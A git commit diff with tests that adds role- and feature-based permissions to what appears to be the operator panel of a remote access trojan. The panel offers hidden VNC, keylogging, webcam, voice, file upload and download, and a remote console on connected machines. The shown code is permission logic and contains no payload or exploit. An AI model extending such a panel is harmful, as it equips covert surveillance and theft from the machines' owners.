RBAC changes + fix rev console and process view in shellcode

This commit is contained in:
KingKDot
2026-05-18 21:34:35 -05:00
parent 9e4a6468d3
commit af05a807c6
9 changed files with 1205 additions and 152 deletions
@@ -1,19 +1,40 @@
import { NAV_GROUPS } from "./nav/template.js";
import { CAPTURE_FLAG } from "./keyboard-capture.js";
const PER_CLIENT_ACTIONS = [
{ key: "console", label: "Console", icon: "fa-terminal", color: "text-emerald-400", href: (id) => `/${id}/console` },
{ key: "hvnc", label: "HVNC", icon: "fa-desktop", color: "text-fuchsia-400", href: (id) => `/hvnc?clientId=${id}` },
{ key: "rdp", label: "Remote Desktop", icon: "fa-display", color: "text-sky-400", href: (id) => `/remotedesktop?clientId=${id}` },
{ key: "files", label: "File Browser", icon: "fa-folder-open", color: "text-cyan-400", href: (id) => `/${id}/files` },
{ key: "processes", label: "Processes", icon: "fa-microchip", color: "text-orange-400", href: (id) => `/${id}/processes` },
{ key: "keylogger", label: "Keylogger", icon: "fa-keyboard", color: "text-yellow-400", href: (id) => `/${id}/keylogger` },
{ key: "webcam", label: "Webcam", icon: "fa-camera", color: "text-pink-400", href: (id) => `/webcam?clientId=${id}` },
{ key: "voice", label: "Voice", icon: "fa-microphone", color: "text-indigo-400", href: (id) => `/voice?clientId=${id}` },
{ key: "deploy", label: "Deploy", icon: "fa-rocket", color: "text-rose-400", href: (id) => `/deploy?clientId=${id}` },
{ key: "winre", label: "WinRE", icon: "fa-shield-halved",color: "text-amber-400", href: (id) => `/winre?clientId=${id}` },
const ALL_PER_CLIENT_ACTIONS = [
{ key: "console", feature: "console", label: "Console", icon: "fa-terminal", color: "text-emerald-400", href: (id) => `/${id}/console` },
{ key: "hvnc", feature: "hvnc", label: "HVNC", icon: "fa-desktop", color: "text-fuchsia-400", href: (id) => `/hvnc?clientId=${id}` },
{ key: "rdp", feature: "remote_desktop", label: "Remote Desktop", icon: "fa-display", color: "text-sky-400", href: (id) => `/remotedesktop?clientId=${id}` },
{ key: "files", feature: "file_browser", label: "File Browser", icon: "fa-folder-open", color: "text-cyan-400", href: (id) => `/${id}/files` },
{ key: "processes", feature: "processes", label: "Processes", icon: "fa-microchip", color: "text-orange-400", href: (id) => `/${id}/processes` },
{ key: "keylogger", feature: "keylogger", label: "Keylogger", icon: "fa-keyboard", color: "text-yellow-400", href: (id) => `/${id}/keylogger` },
{ key: "webcam", feature: "webcam", label: "Webcam", icon: "fa-camera", color: "text-pink-400", href: (id) => `/webcam?clientId=${id}` },
{ key: "voice", feature: "voice", label: "Voice", icon: "fa-microphone", color: "text-indigo-400", href: (id) => `/voice?clientId=${id}` },
{ key: "deploy", feature: null, label: "Deploy", icon: "fa-rocket", color: "text-rose-400", href: (id) => `/deploy?clientId=${id}` },
{ key: "winre", feature: null, label: "WinRE", icon: "fa-shield-halved",color: "text-amber-400", href: (id) => `/winre?clientId=${id}` },
];
let featurePermsCache = null;
async function loadFeaturePerms() {
if (featurePermsCache) return featurePermsCache;
try {
const res = await fetch("/api/auth/me", { credentials: "include" });
if (!res.ok) return null;
const data = await res.json();
featurePermsCache = data?.featurePermissions || null;
return featurePermsCache;
} catch {
return null;
}
}
function PER_CLIENT_ACTIONS() {
const perms = featurePermsCache;
if (!perms) return ALL_PER_CLIENT_ACTIONS;
return ALL_PER_CLIENT_ACTIONS.filter((a) => !a.feature || perms[a.feature] !== false);
}
const RECENT_KEY = "cmdp_recent_v1";
const RECENT_MAX = 8;
@@ -121,7 +142,7 @@ function buildResults(query, pages, clients) {
}
}
for (const a of PER_CLIENT_ACTIONS) {
for (const a of PER_CLIENT_ACTIONS()) {
const sc = score(query, a.label);
if (sc > 0) results.push({ kind: "action", action: a, _score: sc });
}
@@ -309,7 +330,7 @@ function activate(idx, newTab) {
if (r.kind === "client") {
state.mode = "actions-for-client";
state.pendingClient = r.client;
state.results = PER_CLIENT_ACTIONS.map((a) => ({ kind: "client-action", client: r.client, action: a, _score: 0 }));
state.results = PER_CLIENT_ACTIONS().map((a) => ({ kind: "client-action", client: r.client, action: a, _score: 0 }));
state.active = 0;
const input = document.getElementById("cmdp-input");
if (input) { input.value = ""; input.placeholder = `Action on ${clientLabel(r.client)}…`; input.focus(); }
@@ -334,6 +355,7 @@ async function open() {
state.query = "";
state.mode = "main";
state.pendingAction = null;
await loadFeaturePerms();
const root = mountPalette();
if (!root) return;
const input = document.getElementById("cmdp-input");
@@ -347,7 +369,7 @@ async function open() {
if (state.mode === "actions-for-client" && state.pendingClient) {
const q = state.query.toLowerCase();
const c = state.pendingClient;
state.results = PER_CLIENT_ACTIONS
state.results = PER_CLIENT_ACTIONS()
.map((a) => ({ a, sc: score(q, a.label) }))
.filter((x) => x.sc > 0 || !q)
.sort((a, b) => b.sc - a.sc)
+31
View File
@@ -274,6 +274,37 @@ function applyMenuSupportRules(clientId) {
["ping", "reconnect", "disconnect", "uninstall"].forEach(action => {
setAvailability(menu.querySelector(`[data-action="${action}"]`), isOnline, "Client is offline");
});
applyFeaturePermissionRules();
}
const MENU_OPEN_TO_FEATURE = {
console: "console",
remotedesktop: "remote_desktop",
Backstage: "hvnc",
webcam: "webcam",
files: "file_browser",
processes: "processes",
keylogger: "keylogger",
voice: "voice",
};
function applyFeaturePermissionRules() {
const perms = currentUser?.featurePermissions;
if (!perms) return;
for (const [openKey, feature] of Object.entries(MENU_OPEN_TO_FEATURE)) {
const btn = menu.querySelector(`[data-open="${openKey}"]`);
if (!btn) continue;
if (perms[feature] === false) {
btn.disabled = true;
btn.setAttribute("aria-disabled", "true");
btn.classList.add("opacity-50", "cursor-not-allowed");
btn.classList.remove("hover:bg-slate-700");
btn.classList.add("hover:bg-slate-800/50");
btn.title = "Feature access disabled by administrator";
}
}
}
async function loadCurrentUser() {
@@ -0,0 +1,323 @@
import { describe, expect, test } from "bun:test";
import { generateToken } from "../../auth";
import {
ALL_FEATURES,
createUser,
deleteUser,
getUserById,
setUserClientAccessScope,
setUserFeaturePermission,
} from "../../users";
import { handleAuthRoutes } from "./auth-routes";
const PASSWORD = "Aa1!AuthRoutesFeaturePermsTest_2026";
const mockServer = {
requestIP: () => ({ address: "127.0.0.1" }),
};
async function createTokenFor(role: "admin" | "operator" | "viewer") {
const username = `me_${role.slice(0, 3)}_${Date.now().toString(36)}_${Math.floor(Math.random() * 1e6).toString(36)}`;
const created = await createUser(username, PASSWORD, role, "test");
expect(created.success).toBe(true);
expect(typeof created.userId).toBe("number");
const user = getUserById(created.userId!);
expect(user).not.toBeNull();
const token = await generateToken(user!);
return { userId: created.userId!, token, username, role };
}
describe("/api/auth/me featurePermissions", () => {
test("admin gets every feature allowed in /api/auth/me", async () => {
const auth = await createTokenFor("admin");
try {
const url = new URL("https://localhost/api/auth/me");
const res = await handleAuthRoutes(
new Request(url, {
method: "GET",
headers: { Authorization: `Bearer ${auth.token}` },
}),
url,
mockServer,
);
expect(res).not.toBeNull();
expect(res!.status).toBe(200);
const body = (await res!.json()) as any;
expect(body.username).toBe(auth.username);
expect(body.role).toBe("admin");
expect(body.featurePermissions).toBeDefined();
for (const f of ALL_FEATURES) {
expect(body.featurePermissions[f]).toBe(true);
}
} finally {
deleteUser(auth.userId);
}
});
test("operator gets every feature allowed by default in /api/auth/me", async () => {
const auth = await createTokenFor("operator");
try {
const url = new URL("https://localhost/api/auth/me");
const res = await handleAuthRoutes(
new Request(url, {
method: "GET",
headers: { Authorization: `Bearer ${auth.token}` },
}),
url,
mockServer,
);
const body = (await res!.json()) as any;
expect(body.role).toBe("operator");
for (const f of ALL_FEATURES) {
expect(body.featurePermissions[f]).toBe(true);
}
} finally {
deleteUser(auth.userId);
}
});
test("operator-denied features are reflected in /api/auth/me", async () => {
const auth = await createTokenFor("operator");
try {
setUserFeaturePermission(auth.userId, "webcam", false);
setUserFeaturePermission(auth.userId, "file_browser", false);
const url = new URL("https://localhost/api/auth/me");
const res = await handleAuthRoutes(
new Request(url, {
method: "GET",
headers: { Authorization: `Bearer ${auth.token}` },
}),
url,
mockServer,
);
const body = (await res!.json()) as any;
expect(body.featurePermissions.webcam).toBe(false);
expect(body.featurePermissions.file_browser).toBe(false);
expect(body.featurePermissions.console).toBe(true);
expect(body.featurePermissions.hvnc).toBe(true);
} finally {
deleteUser(auth.userId);
}
});
test("viewer gets every feature denied in /api/auth/me", async () => {
const auth = await createTokenFor("viewer");
try {
const url = new URL("https://localhost/api/auth/me");
const res = await handleAuthRoutes(
new Request(url, {
method: "GET",
headers: { Authorization: `Bearer ${auth.token}` },
}),
url,
mockServer,
);
const body = (await res!.json()) as any;
expect(body.role).toBe("viewer");
for (const f of ALL_FEATURES) {
expect(body.featurePermissions[f]).toBe(false);
}
} finally {
deleteUser(auth.userId);
}
});
test("/api/auth/me requires authentication", async () => {
const url = new URL("https://localhost/api/auth/me");
const res = await handleAuthRoutes(
new Request(url, { method: "GET" }),
url,
mockServer,
);
expect(res).not.toBeNull();
expect(res!.status).toBe(401);
});
});
describe("/api/auth/feature-check", () => {
test("operator with allowed feature and accessible client returns allowed=true", async () => {
const auth = await createTokenFor("operator");
try {
setUserClientAccessScope(auth.userId, "all");
const url = new URL("https://localhost/api/auth/feature-check?feature=console&clientId=client-x");
const res = await handleAuthRoutes(
new Request(url, {
method: "GET",
headers: { Authorization: `Bearer ${auth.token}` },
}),
url,
mockServer,
);
expect(res!.status).toBe(200);
const body = (await res!.json()) as any;
expect(body.allowed).toBe(true);
} finally {
deleteUser(auth.userId);
}
});
test("operator with revoked feature returns allowed=false with reason 'feature'", async () => {
const auth = await createTokenFor("operator");
try {
setUserClientAccessScope(auth.userId, "all");
setUserFeaturePermission(auth.userId, "webcam", false);
const url = new URL("https://localhost/api/auth/feature-check?feature=webcam&clientId=client-x");
const res = await handleAuthRoutes(
new Request(url, {
method: "GET",
headers: { Authorization: `Bearer ${auth.token}` },
}),
url,
mockServer,
);
expect(res!.status).toBe(200);
const body = (await res!.json()) as any;
expect(body.allowed).toBe(false);
expect(body.denied).toContain("feature");
expect(body.denied).not.toContain("client");
} finally {
deleteUser(auth.userId);
}
});
test("operator without client access returns allowed=false with reason 'client'", async () => {
const auth = await createTokenFor("operator");
try {
// default client_scope=none
const url = new URL("https://localhost/api/auth/feature-check?feature=console&clientId=client-x");
const res = await handleAuthRoutes(
new Request(url, {
method: "GET",
headers: { Authorization: `Bearer ${auth.token}` },
}),
url,
mockServer,
);
expect(res!.status).toBe(200);
const body = (await res!.json()) as any;
expect(body.allowed).toBe(false);
expect(body.denied).toContain("client");
expect(body.denied).not.toContain("feature");
} finally {
deleteUser(auth.userId);
}
});
test("both feature and client denied returns both reasons", async () => {
const auth = await createTokenFor("operator");
try {
setUserFeaturePermission(auth.userId, "hvnc", false);
// client_scope stays "none" => no access
const url = new URL("https://localhost/api/auth/feature-check?feature=hvnc&clientId=client-x");
const res = await handleAuthRoutes(
new Request(url, {
method: "GET",
headers: { Authorization: `Bearer ${auth.token}` },
}),
url,
mockServer,
);
const body = (await res!.json()) as any;
expect(body.allowed).toBe(false);
expect(body.denied).toContain("feature");
expect(body.denied).toContain("client");
} finally {
deleteUser(auth.userId);
}
});
test("viewer is denied every feature", async () => {
const auth = await createTokenFor("viewer");
try {
const url = new URL("https://localhost/api/auth/feature-check?feature=console&clientId=client-x");
const res = await handleAuthRoutes(
new Request(url, {
method: "GET",
headers: { Authorization: `Bearer ${auth.token}` },
}),
url,
mockServer,
);
const body = (await res!.json()) as any;
expect(body.allowed).toBe(false);
expect(body.denied).toContain("feature");
} finally {
deleteUser(auth.userId);
}
});
test("admin is allowed every feature, even with no client_scope", async () => {
const auth = await createTokenFor("admin");
try {
const url = new URL("https://localhost/api/auth/feature-check?feature=webcam&clientId=client-x");
const res = await handleAuthRoutes(
new Request(url, {
method: "GET",
headers: { Authorization: `Bearer ${auth.token}` },
}),
url,
mockServer,
);
const body = (await res!.json()) as any;
expect(body.allowed).toBe(true);
} finally {
deleteUser(auth.userId);
}
});
test("invalid feature name returns 400", async () => {
const auth = await createTokenFor("operator");
try {
const url = new URL("https://localhost/api/auth/feature-check?feature=not_a_feature&clientId=client-x");
const res = await handleAuthRoutes(
new Request(url, {
method: "GET",
headers: { Authorization: `Bearer ${auth.token}` },
}),
url,
mockServer,
);
expect(res!.status).toBe(400);
} finally {
deleteUser(auth.userId);
}
});
test("unauthenticated request returns 401", async () => {
const url = new URL("https://localhost/api/auth/feature-check?feature=console&clientId=client-x");
const res = await handleAuthRoutes(
new Request(url, { method: "GET" }),
url,
mockServer,
);
expect(res).not.toBeNull();
expect(res!.status).toBe(401);
});
test("clientId is optional — feature-only check works without clientId", async () => {
const auth = await createTokenFor("operator");
try {
setUserFeaturePermission(auth.userId, "webcam", false);
const url = new URL("https://localhost/api/auth/feature-check?feature=webcam");
const res = await handleAuthRoutes(
new Request(url, {
method: "GET",
headers: { Authorization: `Bearer ${auth.token}` },
}),
url,
mockServer,
);
const body = (await res!.json()) as any;
expect(body.allowed).toBe(false);
expect(body.denied).toEqual(["feature"]);
} finally {
deleteUser(auth.userId);
}
});
});
@@ -23,7 +23,7 @@ import {
recordFailedAttempt,
recordSuccessfulAttempt,
} from "../../rateLimit";
import { getUserById, canUserAccessClient, canUserAccessFeature, type FeatureName, ALL_FEATURES } from "../../users";
import { getUserById, canUserAccessClient, canUserAccessFeature, getUserFeaturePermissions, type FeatureName, ALL_FEATURES } from "../../users";
import { makeAuthCookie, makeAuthCookieClear } from "./auth-cookie";
type RequestIpProvider = {
@@ -340,6 +340,7 @@ export async function handleAuthRoutes(
}
const dbUser = getUserById(user.userId);
const featurePermissions = getUserFeaturePermissions(user.userId);
return new Response(
JSON.stringify({
@@ -349,6 +350,7 @@ export async function handleAuthRoutes(
mustChangePassword: dbUser ? Boolean(dbUser.must_change_password) : false,
canBuild: dbUser ? Boolean(dbUser.can_build) : false,
telegramChatId: dbUser?.telegram_chat_id || "",
featurePermissions,
}),
{
headers: { "Content-Type": "application/json" },
@@ -4,7 +4,13 @@ import { join } from "path";
import { tmpdir } from "os";
import { generateToken } from "../../auth";
import * as clientManager from "../../clientManager";
import { createUser, deleteUser, getUserById } from "../../users";
import {
createUser,
deleteUser,
getUserById,
setUserClientAccessScope,
setUserFeaturePermission,
} from "../../users";
import { handleFileDownloadRoutes } from "./file-download-routes";
const PASSWORD = "Aa1!RouteUploadTestPass123";
@@ -249,3 +255,315 @@ describe("file upload route flow", () => {
}
});
});
async function createOperatorToken(opts: { fileBrowserAllowed: boolean; clientScope?: "none" | "all" } = { fileBrowserAllowed: true, clientScope: "all" }) {
const username = `op_${Date.now().toString(36)}_${Math.floor(Math.random() * 1e6).toString(36)}`;
const created = await createUser(username, PASSWORD, "operator", "test");
expect(created.success).toBe(true);
expect(typeof created.userId).toBe("number");
const userId = created.userId!;
setUserClientAccessScope(userId, opts.clientScope ?? "all");
setUserFeaturePermission(userId, "file_browser", opts.fileBrowserAllowed);
const user = getUserById(userId);
expect(user).not.toBeNull();
const token = await generateToken(user!);
return { userId, token };
}
describe("file route feature_browser enforcement", () => {
test("upload request returns 403 when file_browser is denied", async () => {
const auth = await createOperatorToken({ fileBrowserAllowed: false });
const clientId = `client-${Date.now().toString(36)}`;
const dataDir = await createTempDataDir();
const deps = makeRouteDeps(dataDir);
clientManager.addClient(clientId, {
id: clientId,
lastSeen: Date.now(),
role: "client",
ws: { send: () => {} },
});
try {
const requestUrl = new URL("https://localhost/api/file/upload/request");
const res = await handleFileDownloadRoutes(
new Request(requestUrl, {
method: "POST",
headers: {
"Content-Type": "application/json",
Authorization: `Bearer ${auth.token}`,
},
body: JSON.stringify({
clientId,
path: "C:\\Games\\big.iso",
fileName: "big.iso",
}),
}),
requestUrl,
mockServer,
deps,
);
expect(res).not.toBeNull();
expect(res!.status).toBe(403);
expect(await res!.text()).toContain("feature access denied");
} finally {
clientManager.deleteClient(clientId);
deleteUser(auth.userId);
await removeTempDataDir(dataDir);
}
});
test("download request returns 403 when file_browser is denied", async () => {
const auth = await createOperatorToken({ fileBrowserAllowed: false });
const clientId = `client-${Date.now().toString(36)}`;
const dataDir = await createTempDataDir();
const deps = makeRouteDeps(dataDir);
clientManager.addClient(clientId, {
id: clientId,
lastSeen: Date.now(),
role: "client",
ws: { send: () => {} },
});
try {
const requestUrl = new URL("https://localhost/api/file/download/request");
const res = await handleFileDownloadRoutes(
new Request(requestUrl, {
method: "POST",
headers: {
"Content-Type": "application/json",
Authorization: `Bearer ${auth.token}`,
},
body: JSON.stringify({
clientId,
path: "C:\\secret\\data.bin",
}),
}),
requestUrl,
mockServer,
deps,
);
expect(res).not.toBeNull();
expect(res!.status).toBe(403);
expect(await res!.text()).toContain("feature access denied");
} finally {
clientManager.deleteClient(clientId);
deleteUser(auth.userId);
await removeTempDataDir(dataDir);
}
});
test("client_access check still beats feature check when client access is missing", async () => {
// If both are denied, client access fires first — guards against misordered checks.
const auth = await createOperatorToken({ fileBrowserAllowed: false, clientScope: "none" });
const clientId = `client-${Date.now().toString(36)}`;
const dataDir = await createTempDataDir();
const deps = makeRouteDeps(dataDir);
clientManager.addClient(clientId, {
id: clientId,
lastSeen: Date.now(),
role: "client",
ws: { send: () => {} },
});
try {
const requestUrl = new URL("https://localhost/api/file/upload/request");
const res = await handleFileDownloadRoutes(
new Request(requestUrl, {
method: "POST",
headers: {
"Content-Type": "application/json",
Authorization: `Bearer ${auth.token}`,
},
body: JSON.stringify({
clientId,
path: "C:\\Games\\big.iso",
fileName: "big.iso",
}),
}),
requestUrl,
mockServer,
deps,
);
expect(res).not.toBeNull();
expect(res!.status).toBe(403);
expect(await res!.text()).toContain("client access denied");
} finally {
clientManager.deleteClient(clientId);
deleteUser(auth.userId);
await removeTempDataDir(dataDir);
}
});
test("upload stage PUT returns 403 when file_browser is revoked after intent creation", async () => {
const auth = await createOperatorToken({ fileBrowserAllowed: true });
const clientId = `client-${Date.now().toString(36)}`;
const dataDir = await createTempDataDir();
const deps = makeRouteDeps(dataDir);
clientManager.addClient(clientId, {
id: clientId,
lastSeen: Date.now(),
role: "client",
ws: { send: () => {} },
});
try {
const requestUrl = new URL("https://localhost/api/file/upload/request");
const requestRes = await handleFileDownloadRoutes(
new Request(requestUrl, {
method: "POST",
headers: {
"Content-Type": "application/json",
Authorization: `Bearer ${auth.token}`,
},
body: JSON.stringify({
clientId,
path: "C:\\Games\\small.bin",
fileName: "small.bin",
}),
}),
requestUrl,
mockServer,
deps,
);
expect(requestRes!.status).toBe(200);
const requestJson = (await requestRes!.json()) as any;
// Revoke after the intent has been created.
setUserFeaturePermission(auth.userId, "file_browser", false);
const stageUrl = new URL(`https://localhost${requestJson.uploadUrl}`);
const stageRes = await handleFileDownloadRoutes(
new Request(stageUrl, {
method: "PUT",
headers: { Authorization: `Bearer ${auth.token}` },
body: new TextEncoder().encode("hello"),
}),
stageUrl,
mockServer,
deps,
);
expect(stageRes).not.toBeNull();
expect(stageRes!.status).toBe(403);
expect(await stageRes!.text()).toContain("feature access denied");
} finally {
clientManager.deleteClient(clientId);
deleteUser(auth.userId);
await removeTempDataDir(dataDir);
}
});
test("download serve returns 403 when file_browser is revoked after intent creation", async () => {
const auth = await createOperatorToken({ fileBrowserAllowed: true });
const clientId = `client-${Date.now().toString(36)}`;
const dataDir = await createTempDataDir();
const deps = makeRouteDeps(dataDir);
clientManager.addClient(clientId, {
id: clientId,
lastSeen: Date.now(),
role: "client",
ws: { send: () => {} },
});
try {
const requestUrl = new URL("https://localhost/api/file/download/request");
const requestRes = await handleFileDownloadRoutes(
new Request(requestUrl, {
method: "POST",
headers: {
"Content-Type": "application/json",
Authorization: `Bearer ${auth.token}`,
},
body: JSON.stringify({
clientId,
path: "C:\\Games\\file.bin",
}),
}),
requestUrl,
mockServer,
deps,
);
expect(requestRes!.status).toBe(200);
const requestJson = (await requestRes!.json()) as any;
expect(typeof requestJson.downloadUrl).toBe("string");
// Revoke after the intent has been created.
setUserFeaturePermission(auth.userId, "file_browser", false);
const downloadUrl = new URL(`https://localhost${requestJson.downloadUrl}`);
const downloadRes = await handleFileDownloadRoutes(
new Request(downloadUrl, {
method: "GET",
headers: { Authorization: `Bearer ${auth.token}` },
}),
downloadUrl,
mockServer,
deps,
);
expect(downloadRes).not.toBeNull();
expect(downloadRes!.status).toBe(403);
expect(await downloadRes!.text()).toContain("feature access denied");
} finally {
clientManager.deleteClient(clientId);
deleteUser(auth.userId);
await removeTempDataDir(dataDir);
}
});
test("upload request succeeds for operator with file_browser allowed (positive control)", async () => {
const auth = await createOperatorToken({ fileBrowserAllowed: true });
const clientId = `client-${Date.now().toString(36)}`;
const dataDir = await createTempDataDir();
const deps = makeRouteDeps(dataDir);
clientManager.addClient(clientId, {
id: clientId,
lastSeen: Date.now(),
role: "client",
ws: { send: () => {} },
});
try {
const requestUrl = new URL("https://localhost/api/file/upload/request");
const res = await handleFileDownloadRoutes(
new Request(requestUrl, {
method: "POST",
headers: {
"Content-Type": "application/json",
Authorization: `Bearer ${auth.token}`,
},
body: JSON.stringify({
clientId,
path: "C:\\Games\\ok.bin",
fileName: "ok.bin",
}),
}),
requestUrl,
mockServer,
deps,
);
expect(res).not.toBeNull();
expect(res!.status).toBe(200);
const body = (await res!.json()) as any;
expect(body.ok).toBe(true);
expect(typeof body.uploadUrl).toBe("string");
} finally {
clientManager.deleteClient(clientId);
deleteUser(auth.userId);
await removeTempDataDir(dataDir);
}
});
});
@@ -8,7 +8,7 @@ import { logger } from "../../logger";
import { encodeMessage } from "../../protocol";
import { getConfig } from "../../config";
import { isAuthorizedAgentRequest } from "../agent-auth";
import { canUserAccessClient } from "../../users";
import { canUserAccessClient, canUserAccessFeature } from "../../users";
type RequestIpProvider = {
requestIP: (req: Request) => { address?: string } | null | undefined;
@@ -160,6 +160,10 @@ async function serveDownloadById(
return new Response("Forbidden: Admin or operator access required", { status: 403 });
}
if (!canUserAccessFeature(user.userId, user.role as any, "file_browser")) {
return new Response("Forbidden: feature access denied", { status: 403 });
}
logger.debug("[filebrowser] http download request", {
downloadId,
userId: user.userId,
@@ -363,6 +367,10 @@ export async function handleFileDownloadRoutes(
return new Response("Forbidden: client access denied", { status: 403 });
}
if (!canUserAccessFeature(user.userId, user.role as any, "file_browser")) {
return new Response("Forbidden: feature access denied", { status: 403 });
}
logger.debug("[filebrowser] http upload request", {
userId: user.userId,
clientId,
@@ -408,6 +416,10 @@ export async function handleFileDownloadRoutes(
return new Response("Forbidden: Admin or operator access required", { status: 403 });
}
if (!canUserAccessFeature(user.userId, user.role as any, "file_browser")) {
return new Response("Forbidden: feature access denied", { status: 403 });
}
let uploadId = "";
try {
uploadId = decodeURIComponent(url.pathname.slice("/api/file/upload/".length));
@@ -651,6 +663,10 @@ export async function handleFileDownloadRoutes(
return new Response("Forbidden: client access denied", { status: 403 });
}
if (!canUserAccessFeature(user.userId, user.role as any, "file_browser")) {
return new Response("Forbidden: feature access denied", { status: 403 });
}
const target = clientManager.getClient(clientId);
if (!target) {
return new Response("Client offline", { status: 404 });
@@ -0,0 +1,249 @@
import { describe, expect, test } from "bun:test";
import {
ALL_FEATURES,
canUserAccessFeature,
createUser,
deleteUser,
getUserByUsername,
getUserFeaturePermissions,
resetUserFeaturePermissions,
setUserFeaturePermission,
setUserFeaturePermissions,
type FeatureName,
} from "./users";
const createdUserIds: number[] = [];
async function createTempUser(role: "viewer" | "operator" | "admin") {
const username = `fp_${role.slice(0, 3)}_${Date.now().toString(36)}${Math.floor(Math.random() * 1000).toString(36)}`;
const result = await createUser(username, "Aa1!VeryLongTestPassword_2026", role, "test");
expect(result.success).toBe(true);
const user = getUserByUsername(username);
expect(user).not.toBeNull();
createdUserIds.push(user!.id);
return user!;
}
function cleanupCreatedUsers() {
while (createdUserIds.length > 0) {
const id = createdUserIds.pop();
if (typeof id === "number") {
deleteUser(id);
}
}
}
describe("feature permissions", () => {
test("ALL_FEATURES contains the expected feature keys", () => {
expect(ALL_FEATURES).toEqual([
"console",
"remote_desktop",
"hvnc",
"webcam",
"file_browser",
"processes",
"keylogger",
"voice",
]);
});
test("admin always has every feature regardless of stored overrides", async () => {
try {
const admin = await createTempUser("admin");
for (const f of ALL_FEATURES) {
expect(canUserAccessFeature(admin.id, admin.role, f)).toBe(true);
}
// Even an explicit deny is ignored for admin role.
setUserFeaturePermission(admin.id, "webcam", false);
expect(canUserAccessFeature(admin.id, "admin", "webcam")).toBe(true);
} finally {
cleanupCreatedUsers();
}
});
test("viewer is denied every feature regardless of stored overrides", async () => {
try {
const viewer = await createTempUser("viewer");
for (const f of ALL_FEATURES) {
expect(canUserAccessFeature(viewer.id, viewer.role, f)).toBe(false);
}
// Granting access to a viewer at the per-feature level does not promote them.
setUserFeaturePermission(viewer.id, "console", true);
expect(canUserAccessFeature(viewer.id, "viewer", "console")).toBe(false);
} finally {
cleanupCreatedUsers();
}
});
test("operator defaults to having every feature enabled", async () => {
try {
const operator = await createTempUser("operator");
for (const f of ALL_FEATURES) {
expect(canUserAccessFeature(operator.id, operator.role, f)).toBe(true);
}
} finally {
cleanupCreatedUsers();
}
});
test("setUserFeaturePermission disables a single feature for an operator", async () => {
try {
const operator = await createTempUser("operator");
const result = setUserFeaturePermission(operator.id, "webcam", false);
expect(result.success).toBe(true);
expect(canUserAccessFeature(operator.id, operator.role, "webcam")).toBe(false);
// Other features remain enabled.
expect(canUserAccessFeature(operator.id, operator.role, "console")).toBe(true);
expect(canUserAccessFeature(operator.id, operator.role, "file_browser")).toBe(true);
} finally {
cleanupCreatedUsers();
}
});
test("setUserFeaturePermission can re-enable a previously denied feature", async () => {
try {
const operator = await createTempUser("operator");
setUserFeaturePermission(operator.id, "hvnc", false);
expect(canUserAccessFeature(operator.id, operator.role, "hvnc")).toBe(false);
setUserFeaturePermission(operator.id, "hvnc", true);
expect(canUserAccessFeature(operator.id, operator.role, "hvnc")).toBe(true);
} finally {
cleanupCreatedUsers();
}
});
test("setUserFeaturePermissions applies a bulk update", async () => {
try {
const operator = await createTempUser("operator");
const result = setUserFeaturePermissions(operator.id, {
webcam: false,
file_browser: false,
keylogger: true,
});
expect(result.success).toBe(true);
expect(canUserAccessFeature(operator.id, operator.role, "webcam")).toBe(false);
expect(canUserAccessFeature(operator.id, operator.role, "file_browser")).toBe(false);
expect(canUserAccessFeature(operator.id, operator.role, "keylogger")).toBe(true);
// Untouched features keep their default (allowed).
expect(canUserAccessFeature(operator.id, operator.role, "console")).toBe(true);
} finally {
cleanupCreatedUsers();
}
});
test("setUserFeaturePermissions ignores unknown feature keys", async () => {
try {
const operator = await createTempUser("operator");
const result = setUserFeaturePermissions(operator.id, {
webcam: false,
// @ts-expect-error intentionally unknown feature key
not_a_feature: true,
});
expect(result.success).toBe(true);
const perms = getUserFeaturePermissions(operator.id);
expect(perms.webcam).toBe(false);
// Unknown keys never get persisted.
expect((perms as any).not_a_feature).toBeUndefined();
} finally {
cleanupCreatedUsers();
}
});
test("setUserFeaturePermission rejects invalid feature names", async () => {
try {
const operator = await createTempUser("operator");
const result = setUserFeaturePermission(
operator.id,
"not_a_feature" as FeatureName,
false,
);
expect(result.success).toBe(false);
expect(result.error).toContain("Invalid feature");
} finally {
cleanupCreatedUsers();
}
});
test("getUserFeaturePermissions returns role-derived values", async () => {
try {
const admin = await createTempUser("admin");
const operator = await createTempUser("operator");
const viewer = await createTempUser("viewer");
const adminPerms = getUserFeaturePermissions(admin.id);
const operatorPerms = getUserFeaturePermissions(operator.id);
const viewerPerms = getUserFeaturePermissions(viewer.id);
for (const f of ALL_FEATURES) {
expect(adminPerms[f]).toBe(true);
expect(operatorPerms[f]).toBe(true);
expect(viewerPerms[f]).toBe(false);
}
// After a deny, the operator's map reflects it.
setUserFeaturePermission(operator.id, "processes", false);
const updated = getUserFeaturePermissions(operator.id);
expect(updated.processes).toBe(false);
expect(updated.console).toBe(true);
} finally {
cleanupCreatedUsers();
}
});
test("resetUserFeaturePermissions restores defaults (all enabled for operator)", async () => {
try {
const operator = await createTempUser("operator");
setUserFeaturePermissions(operator.id, {
webcam: false,
file_browser: false,
keylogger: false,
});
expect(canUserAccessFeature(operator.id, operator.role, "webcam")).toBe(false);
const result = resetUserFeaturePermissions(operator.id);
expect(result.success).toBe(true);
for (const f of ALL_FEATURES) {
expect(canUserAccessFeature(operator.id, operator.role, f)).toBe(true);
}
} finally {
cleanupCreatedUsers();
}
});
test("getUserFeaturePermissions for a missing user returns all-false", () => {
const perms = getUserFeaturePermissions(0);
for (const f of ALL_FEATURES) {
expect(perms[f]).toBe(false);
}
});
test("feature denials are scoped to the affected user", async () => {
try {
const a = await createTempUser("operator");
const b = await createTempUser("operator");
setUserFeaturePermission(a.id, "webcam", false);
expect(canUserAccessFeature(a.id, a.role, "webcam")).toBe(false);
expect(canUserAccessFeature(b.id, b.role, "webcam")).toBe(true);
} finally {
cleanupCreatedUsers();
}
});
});